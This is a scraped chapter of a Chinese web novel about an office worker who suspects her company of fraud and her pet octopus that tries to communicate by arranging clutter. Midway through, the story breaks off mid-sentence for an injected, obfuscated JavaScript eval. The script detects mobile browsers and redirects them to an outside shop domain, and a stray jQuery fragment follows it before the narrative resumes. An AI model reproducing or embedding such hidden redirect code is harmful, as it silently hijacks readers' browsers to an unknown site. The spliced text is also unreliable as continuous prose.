文趣网 > 都市小说 > 触手禁止外露 > 22. Chapter 22
    好痛……脖子好痛……

    程以瑶迷迷糊糊睁开眼,长时间保持了一个扭曲姿势的脖子嘎巴响了两下,是动也动不了,抬也抬不起。

    “哎呀……哎呀呀……”

    她痛呼两声,斜着自己的头缓慢从桌上爬起。抬眼一瞧,自己是在公司趴桌睡了一晚上。

    窗外,天际线下已经跃出了金黄的火球,高楼轮廓在暖色中有些发灰。

    这什么时间了?

    程以瑶震惊无比地摸出手机,定睛一看现在确实已经是第二天早上。可是她明明记得自己在昨晚去了宗翰的办公室,然后……

    然后找到了一张纸,是她的简历。

    好像,还见到了宗翰?

    可是不对啊!自己为什么没有见到宗翰之后的记忆?

    她昨天晚上到底去没去宗翰的办公室?还是她……直接趴在桌子上睡着了?

    程以瑶来来回回地琢磨,可是越想记忆越是浅薄虚假,她越要怀疑这是不是真实的。

    干坐了一阵,歪脖略微好转。程以瑶动了动僵直的腰板,打算再去宗翰的办公室一趟。

    没了夜晚的遮掩,程以瑶在公司内部鬼鬼祟祟探头探脑。几经周转下,终于摸到了总监办公室门前。

    这次,她却并没有按下门把手。门是锁着的。

    程以瑶愣在原地,半晌没动。过了一阵,她似乎是重新开了机,猛地退后两步,拔腿跑了回去。

    门是锁着的!可是昨天晚上我明明给你记得门是开着的!

    难道我真的是睡过去了?那些都是我梦见的?

    不对啊!我一睡觉一做梦不是直接就被传送进特里斯坦的小花园了吗?

    这次怎么是梦见公司了?还正正好是总监办公室?

    “啊——”

    她嚎了一声,倒在座椅上,真觉得自己需要看看医生了。

    这么想着,又困了起来。

    最近她经常变成这个样子,总会发困,觉不够睡。不过昨晚在办公桌上对付了一晚,没睡好,也是正常的。

    虽然程以瑶闭上了眼睛,可阳光依然渗了进来。她隐隐约约忘记了什么,也不是最重要的了。

    心中有空下的一片,究竟空在了哪里?

    意识昏昏沉沉的,她睡了过去。没有梦境,也没有其他的未知。

    等到太阳光线终于变成不能忽略的程度,耳边也陆陆续续响起同事们走动的动静。

    “以瑶?今天这么早就来了?”

    刘姐放下随身背包,一转头正见到程以瑶已经从桌上弹了起来,瞪着眼睛看向她。

    “怎么了?”

    刘姐在程以瑶面前挥挥手,对方神色坚毅,眼睛一眨不眨。

    “你这不是早到哇,以瑶啊,你不会是在公司加班了吧?哎呦,可别仗着年轻就这么熬哇!也不多给工资的啊!”

    “刘姐!”程以瑶僵硬地转动眼珠,吐出一个问句:“你觉得,咱们这个公司是被电诈团伙渗透的概率是多少?”

    “啊?”

    刘姐停顿半晌,她从程以瑶的炯炯有神的目光中判断,这话是在认真提问。

    “以瑶你最近看什么电视剧啦?还是身边有人被诈骗啦?”

    “刘姐!你想想!就咱们这个破公司!怎么会被奥维斯看中并购!有没有可能!他们只是打着这个跨国集团的名义,其实并购锦上的并不是奥维斯!”

    程以瑶聚精会神,她接着推理道:“有没有可能!这是电诈团伙的最近诈骗方式!目的就是要用一种合法手段给他们找‘猪仔’!下一步就会以旅游或者团建的名头,把咱们这些员工骗出国去!”

    刘姐一边看着程以瑶眉飞色舞,一边摸着自己的椅子缓缓坐了上去。在对方终于结束高谈阔论后,她发表了重要意见:“以瑶……你最近是不是看太多……普法节目了?啊,不是说这些节目不好啊,但是你得分得清现实和节目哇!”

    “奥维斯并购锦上,是因为原来老总有点人脉关系呀!上次不是听那谁说了嘛!而且宗总监确实是在奥维斯总部的,你也知道啊?”

    程以瑶听着自己的推测被通篇否决,神色恹恹地应了一声,耷拉着脑袋重新挪回了办公桌前。

    “你说的旅游什么的,我还没听领导说过。但是好像最近是有聚餐啊!”

    程以瑶猛然转头,刘姐则迅速接上了下一句:“是犒劳上次的工作!公司聚餐还是很平常的哇!”

    好吧,没有人赞成她的推测。

    程以瑶把脸换了个朝向,再次趴桌不起。

    一上午,她心有旁骛地磨洋工。工作半小时打哈欠十分钟,在第N次探头观察宗翰是否上班后,却和端着热水杯路过的周华撞了个四目相对。

    程以瑶连忙摆出一个露着四颗牙的笑,缩回了脖子。

    挨过中午,再挨过下午,她终于得出一个结论:宗翰今天不上班。

    啊!为什么!为什么他可以不上班!

    挨到傍晚,程以瑶是怨念深重。敲打键盘不足以泄愤,有关宗翰是否是电诈团伙一员这件事已经算不上令人恼火,她最不能容忍的是这个人竟然可以不上班!就连办公室都不坐了!

    看看这一公司脸色蜡黄的老员工,看看这班味沸腾的办公区,没有一个人可以逃脱因为三瓜俩枣就被压榨的命运!

    晚上七点半,程以瑶睁着半开不开,将闭未闭的眼睛迈出了大楼。今天没加班,是因为她要在办公桌边臭掉了。

    通共没接受太阳光照几分钟,现在,程以瑶已经被城市的夜色淹没。一个脑袋轻轻飘飘,两条腿走的步子是拖拖拉拉。

    赶着高峰期的地铁回了家,三魂六魄中起码有一半已经在躯壳后边追了。

    剩着一口气,程以瑶把钥匙插进门锁,推门而入。

    小章鱼照例扒在入户柜上眼巴巴看着她,可屋内的客厅是惨遭轰炸一般的狼藉一片。

    累了一天的腰终于还是断了。程以瑶迟钝地走了两下,她站在屋子里,脑袋愣是没加载出来眼前这一切是发生了什么。

    不管是杂物还是垃圾,都被扒出来、摊开在地,最后摆成了她看不懂的姿势。

    “啪!”

    手中的包落在了地上。

    “咣!”

    她的膝盖也落在了地上。

    “咕?”

    小章鱼费力从入户柜爬下,挪着肥爪,挪到程以瑶身边,戳了戳她。

    她卡顿着转过脸,那两颗豆眼眨了眨。

    “你……一天……不……两天,就在家里……干这个?”

    虚弱的语气,虚弱的疑问句,就连怒火也发不出来了。

    小章鱼并不觉得自己是做了错事,它还是认为人类没有理解它的意思,只好咕噜一声,特意移动在这滩狼藉前,用爪指了指。

    可人类怎么回事,这么明显都看不懂吗?

    “咕……”它焦急地在原地转了一圈。

    “咕!咕噜——”(人类!你看啊——)

    “咕噜!”(看不懂吗!)

    两天前,睡了很久的小章鱼睁开眼,人类却已经消失了。

    虽然人类总

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17715440|207606||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    是这样,在一个特定的时间消失,然后在一个特定的时间重新出现。可是它还是有些慌张。

    人类的身上多了它不能理解的东西,它想要亲近,又不敢亲近。

    眼前的大作是它专门用能找到的所有东西摆出来的基伊巴斯语,是用来和人类沟通交流的。

    怎么回事?人类听不懂章鱼语言,连基伊巴斯语也看不懂吗?

    “咕……”

    它泄气地垂下爪子,触手尖端打着卷缩了回去。

    程以瑶本来以为是小章鱼在家中呆得太久太无聊,所以才把东西翻出来玩。但是从这略带悲伤的章鱼背影看,好像不是这个样子?

    “你这不是……在捣乱吗?”

    她用手指戳了戳它。

    “咕……”

    回应的动静很小很蔫。

    “我错怪你了?”

    “咕……”

    甚至是有问有答。

    “那,对不起?”

    “咕……”

    小章鱼微微侧过些,看似是不情愿地用一只肥爪搭在了人类的手指上,吸盘上的粉色却重了一些。

    程以瑶这才观赏起这副大作来。从杂物和杂物、杂物和垃圾、垃圾和垃圾的完美衔接上,她深思片刻,恍然大悟。

    “原来你是在画画啊!”

    “……咕?”它的爪子一僵,黑色豆眼睁得更大。

    “你竟然是一个创作型小章鱼!”程以瑶决定采用鼓励教育:“真不错啊!”

    其实是违心夸赞。

    眼看小章鱼的爪子又垂了下去,她盘算着难道是自己的鼓励教育出了错,怎么收效甚微。

    “那个……其实我懂你的意思!”她扬高声音,只是嗓子有些哑,调子听起来怪怪的。

    “咕?”

    “你这是有点想我了对吧?”

    小章鱼用两颗豆眼看着人类。虽然她说的不对,但最后它还是选择接受了人类的说法。

    算了,毕竟人类笨笨的,什么也不知道。还是它自己来想办法。

    程以瑶已经无力收拾屋子,在小章鱼接受了她的道歉后,她就捧着这个深蓝色球体去了卫生间,洗干净它身上的残留污渍。

    应该是划到了什么,一只肥爪上多了一条细长小口。她无意抚过,小章鱼立刻哼唧了一声。

    “疼吗?”程以瑶轻轻吹了吹:“下次就别画画了啊?”

    肥爪落在了她的掌心,因为流动的水,滑腻的触感转而变得更加柔软,让人不禁还想再摸上两下。

    程以瑶真就挠了挠。

    它很是喜欢,裹着人类的手指,豆眼变成了两条直线。

    水珠顺着她的指缝溜回下水道,啪嗒啪嗒,混合着时有时无的章鱼咕噜声。

    它很累了。从这间屋子的犄角旮旯拽出这么多东西远远超过了一只小章鱼的运动量,何况还要摆成多个形状。

    它小小的,在地上甚至看不见究竟是摆成了什么样子。只好一遍遍爬上高处,再一次次爬下来。

    可惜人类还是不理解它的意思。

    没关系,也许下一次就理解了呢?

    黑色豆眼完全闭了起来,曲起的触手仍然卷在了她的皮肤上。

    程以瑶迈过这五花八门的一地东西,把小章鱼放在了枕头边。

    吸盘贴在她的手指上,留下密密麻麻的痒意,偶尔还能看见一个不大的圆形痕迹,只是很快消淡了。

    她对付吃了一口饭,飞快洗漱完毕,一头倒在床上,即刻昏睡。

    收拾屋子的事情,再说吧。